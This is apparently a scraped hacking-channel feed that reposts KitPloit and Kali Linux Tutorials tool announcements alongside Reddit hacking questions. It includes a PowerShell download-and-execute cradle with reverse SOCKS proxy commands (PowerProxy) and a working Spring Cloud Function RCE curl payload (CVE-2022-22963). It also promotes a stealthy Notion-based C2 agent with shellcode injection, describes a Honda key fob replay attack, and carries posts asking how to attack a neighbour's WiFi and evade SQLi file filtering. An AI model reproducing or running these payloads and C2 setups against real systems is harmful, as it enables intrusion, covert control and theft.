KitPloit - PenTest Tools!
PowerProxy - PowerShell SOCKS Proxy With Reverse Proxy Capabilities

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXZdpkJl-ndNE79XnTdBFqhJZwtY0SCHuUNkoUdlg2msPrW3alNDz25HLQVIFRUQaYCQOvaHKUmjMaI8VaEBfRsv6ey_tqMi7ZVglP24zX6ILKN2e1gBFnsINlxg3bT9MqzK6YEaulFwJqqaJdDJQj_1xQWEPMD3Kqv_nlrBgNX3dwV_JV07IgCAGu/w640-h318/proxy.png
PowerShell SOCKS proxy with reverse proxy capabilities.

PowerProxy is written with penetration testers in mind. Reverse proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password authentication is supported for Socks 5 connections.
Setup

Import the script:

iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py can create temporary SSL certs, which requires OpenSSL. If OpenSSL isn't installed on your machine (it is on most Linux/Unix-based systems), provide your own cert or use the --no-encrypt option.

Usage

For detailed usage, check out PowerProxy's help, or use ./reverse_proxy_handler.py --help

Run a reverse proxy

On local machine, start the handler:

# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080

In PowerShell:

Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Proxy clients can treat the server created by reverse_proxy_handler.py as if it were the actual SOCKS server:

curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Run a traditional SOCKS server

Start-SocksProxy 172.10.2.20 -Port 9050

Require authentication

Use PSCredential objects to require a username and password:

# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

Limitations

* At the moment, only CONNECT requests are supported. BIND support is a goal, if practical.
* GSSAPI authentication is not supported.
* reverse_proxy_handler.py is only tested on UNIX-based machines, and probably doesn't work on Windows.
Download PowerProxy

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
If a hacker has breached a sites backend, and navigates to the hashed passwords, is salting actually doing anything?

I often see salting mentioned as protection against rainbow lists and reversing hashed passwords. Does this really do anything? What’s to stop a hacker from creating a new login at the site and then breaching the database again to see how his own password looks. Then he just brute forces random salting of his own password until the hash matches the one from the database. Unless I’m missing something here? Is there any way to effectively add different hashed to each user’s password?

submitted by /u/ElonMusk0fficial
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What can I do to someone if I have his/her WiFi password?

Title said all,

If I know somebody's password for WiFI where all his/her devices are connected and I am able to connect to his/her WiFi network (obviously), what are my possibilities from hacking aspect?

submitted by /u/wannacry011
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What are your thoughts on parrot os?

It seems more light-weight, has more tools preinstalled than kali yet kali is like the go-to linux distro for pentesting. What’s the catch?

submitted by /u/ass_explosion_69
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
CVE-2022-22963 : PoC Spring Java Framework 0-day Remote Code Execution Vulnerability

CVE-2022-22963 is to run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:

docker run -it -d -p 8080:8080 bobcheat/springboot-public

Exploit

Curl command:

curl -i -s -k -X $’POST’ -H $’Host: 192.168.1.2:8080′ -H $’spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\”touch /tmp/test”)’ –data-binary $’exploit_poc’ $’http://192.168.1.2:8080/functionRouter’

Or using Burp suite:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ5VpcKZq5W8YIsZn3tkyAj4hAp_Omkvd-5846MHbdiujZDsrTIxOyWpoo04X-Jbh4WmegdQBxlggyQWgd6MWfnacOMC4_im3ikEg9AaVf_0flRTsiPplbms3ZF_ci7Oq958Oyks-sXm9WZimWNM2dmY7cDCalT3977ml_NpH58QxINxKJ0wVtJoPO/s1392/burp-suite-exploit.png

Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
sqli into outfile .php filtering

Hello fellow hackers! I am trying to exploit a site by sqli and I've tried the union based query with into outfile and it saves files successfully but when doing it on a .php extension, it makes the file but has no content(I've tried load_file on the php file already). How do you get around this? (Im still new to web hacking)

submitted by /u/peanutnameistaken
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
CVE-2022-27254 : PoC For Vulnerability In Honda’s Remote Keyless System

CVE-2022-27254 is a PoC for vulnerability in Honda’s Remote Keyless System(CVE-2022-27254).

Summary

This is a proof of concept for CVE-2022-27254, wherein the remote keyless system on various Honda vehicles send the same, unencrypted RF signal for each door-open, door-close, boot-open and remote start(if applicable). This allows for an attacker to eavesdrop on the request and conduct a replay attack.

Vehicles Affected

• 2016-2020 Honda Civic(LX, EX, EX-L, Touring, Si, Type R)

Important Notes

•Key fob FCC ID: KR5V2X
•Key fob frequency: 433.215MHz
•Key fob modulation: FSK

Tools used

•FCCID.io
•HackRF One
•Gqrx
•GNURadio

Prevention

* Manufacturers:
* Manufacturers must implement Rolling Codes, otherwise known as hopping code. It is a security technology commonly used to provide a fresh code for each authentication of a remote keyless entry (RKE) or passive keyless entry (PKE) system.

* Consumers:
* Utilize a Faraday Pouch for the key fob.
* Use the PKE as opposed to the RKE, this would make it significantly harder for an attacker to clone/read the signal due to the proximity they would need to be at to do so.
The precautions mentioned above ARE NOT foolproof

If you believe that you are a victim of this attack, the only current mitigation is to reset your key fob at the dealership.
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
OffensiveNotion : Notion As A Platform For Offensive Operations

OffensiveNotion combines the capabilities of a post-exploitation agent with the power and comfort of the Notion notetaking application. The agent sends data to and receives commands from your Notion page. Your C2 traffic blends right in as the agent receives instructions and posts results via the Notion developer API. And when your blue team looks for evidence of shenanigans, none will be the wiser. Features* A full-featured C2 platform built on the Notion notetaking app.
* Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy!
* Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base. Includes a Python setup/controller script to simplify the process.
* A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page!
* Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation.
* Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that’s a teamserver!
* Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world.
* Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose.

Quickstart TL;DRHow do I get this thing working so I can see what it can do?

1. Make a Notion account
2. Go to the Notion API developer page and log in. Create an Integration user (New integration). Copy that user’s API key.
3. Create a page in your Notion book (any page will do). This is your “Listener.” Copy the final part of the URL or press ctl+L in the Desktop app. This is your parent page ID. Keep track of it for a moment. Deck out your page with a banner and emoji icon. Have fun with it.
4. In the upper-right corner of your Notion page, click “Share” and “Invite.” Add your Notion Developer API account to this page.
5. Download the Linux Debug agent from the Release section.
6. Run the release agent in debug mode (-d) and input the values for each prompt.

husky@ubuntu:~/Desktop/OffensiveNotion/bin/linux_debug/debug$ ./offensive_notion -d
[] Starting! Getting config options! [] Enter agent sleep interval > 5
[] Enter agent jitter time > 0 [] Enter parent page id > […your parent page ID..]
[] Enter API Key > […your API key…] [] Enter Config File Path >
[leave blank]
[*] Enter Log Level (1-4) >
2

* Your agent should now check into your Listener page:
* Run commands! Make a To-Do block (/todo in the Notion app), enter shell whoami 🎯, and watch the magic unfold. DockerThe best way to build the OffensiveNotion agent with your own custom configurations is with Docker and the main.pyscript. This acts as the turn-key point for the entire operation.

With two Docker commands, you can build the container that compiles the agent, set all of its configs in the source code, compile it, and have it available on your physical host. Then, you can run the commands again and change the configs if you want. Building and Running the ContainerThis works best on Linux. You’ll need Docker, of course. Once you have Docker installed, clone the repo and change dirs into the repo. Docker BuildTo build the container:

$ sudo docker image build -t offensivenotion . Docker RunUse this Docker run command as a base:

$ sudo docker rm -f offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o linux -b release

…[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
OffensiveNotion : Notion As A Platform For Offensive Operations

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Cloak : A Censorship Circumvention Tool To Evade Detection By Authoritarian State Adversaries

Cloak is a pluggable transport that enhances traditional proxy tools like OpenVPN to evade sophisticated censorship and data discrimination.

Cloak is not a standalone proxy program. Rather, it works by masquerading proxied traffic as normal web browsing activities. In contrast to traditional tools which have very prominent traffic fingerprints and can be blocked by simple filtering rules, it’s very difficult to precisely target Cloak with little false positives. This increases the collateral damage to censorship actions as attempts to block Cloak could also damage services the censor state relies on.

To any third party observer, a host running Cloak server is indistinguishable from an innocent web server. Both while passively observing traffic flow to and from the server, as well as while actively probing the behaviours of a Cloak server. This is achieved through the use a series of cryptographic steganography techniques.

Cloak can be used in conjunction with any proxy program that tunnels traffic through TCP or UDP, such as Shadowsocks, OpenVPN and Tor. Multiple proxy servers can be running on the same server host and Cloak server will act as a reverse proxy, bridging clients with their desired proxy end.

Cloak multiplexes traffic through multiple underlying TCP connections which reduces head-of-line blocking and eliminates TCP handshake overhead. This also makes the traffic pattern more similar to real websites.

Cloak provides multi-user support, allowing multiple clients to connect to the proxy server on the same port (443 by default). It also provides traffic management features such as usage credit and bandwidth control. This allows a proxy server to serve multiple users even if the underlying proxy software wasn’t designed for multiple users

Cloak also supports tunneling through an intermediary CDN server such as Amazon Cloudfront. Such services are so widely used, attempts to disrupt traffic to them can lead to very high collateral damage for the censor. Buildgit clone https://github.com/cbeuw/Cloak
cd Cloak
go get ./…
make ConfigurationExamples of configuration files can be found under example_configfolder. ServerRedirAddris the redirection address when the incoming traffic is not from a Cloak client. Ideally it should be set to a major website allowed by the censor (e.g. www.bing.com) BindAddris a list of addresses Cloak will bind and listen to (e.g. [":443",":80"]to listen to port 443 and 80 on all interfaces) ProxyBookis an object whose key is the name of the ProxyMethod used on the client-side (case-sensitive). Its value is an array whose first element is the protocol, and the second element is an IP:PORTstring of the upstream proxy server that Cloak will forward the traffic to.

Example:

{
“ProxyBook”: {
“shadowsocks”: [
“tcp”,
“localhost:51443”
],
“openvpn”: [
“tcp”,
“localhost:12345”
]
}
} PrivateKeyis the static curve25519 Diffie-Hellman private key encoded in base64. BypassUIDis a list of UIDs that are authorised without any bandwidth or credit limit restrictions AdminUIDis the UID of the admin user in base64. You can leave this empty if you only ever add users to BypassUID. DatabasePathis the path to userinfo.db, which is used to store user usage information and restrictions. Cloak will create the file automatically if it doesn’t exist. You can leave this empty if you only ever add users to BypassUID. This field also has no effect if AdminUIDisn’t a valid UID or is empty. KeepAliveis the number of seconds to tell the OS to wait after no activity before sending TCP KeepAlive probes to the upstream proxy server. Zero or nega[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Cloak : A Censorship Circumvention Tool To Evade Detection By Authoritarian State Adversaries

___________________________
@hacking_Attack
@Hacking_Video

From Wayback to Account Takeover

Hi, I would like to share how Wayback Machine leads to limited Account Takeover.Continue reading on Medium »
Read more...

From Wayback to Account Takeover
https://medium.com/@mohamedtaha_42562/from-wayback-to-account-takeover-ea7e80600188?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi, I would like to share how Wayback Machine leads to limited Account Takeover.Continue reading on Medium » (https://medium.com/@mohamedtaha_42562/from-wayback-to-account-takeover-ea7e80600188?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How I was able to access IBM internal documents
https://medium.com/@mohamedtaha_42562/how-i-was-able-to-access-ibm-internal-documents-a33858387d30?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video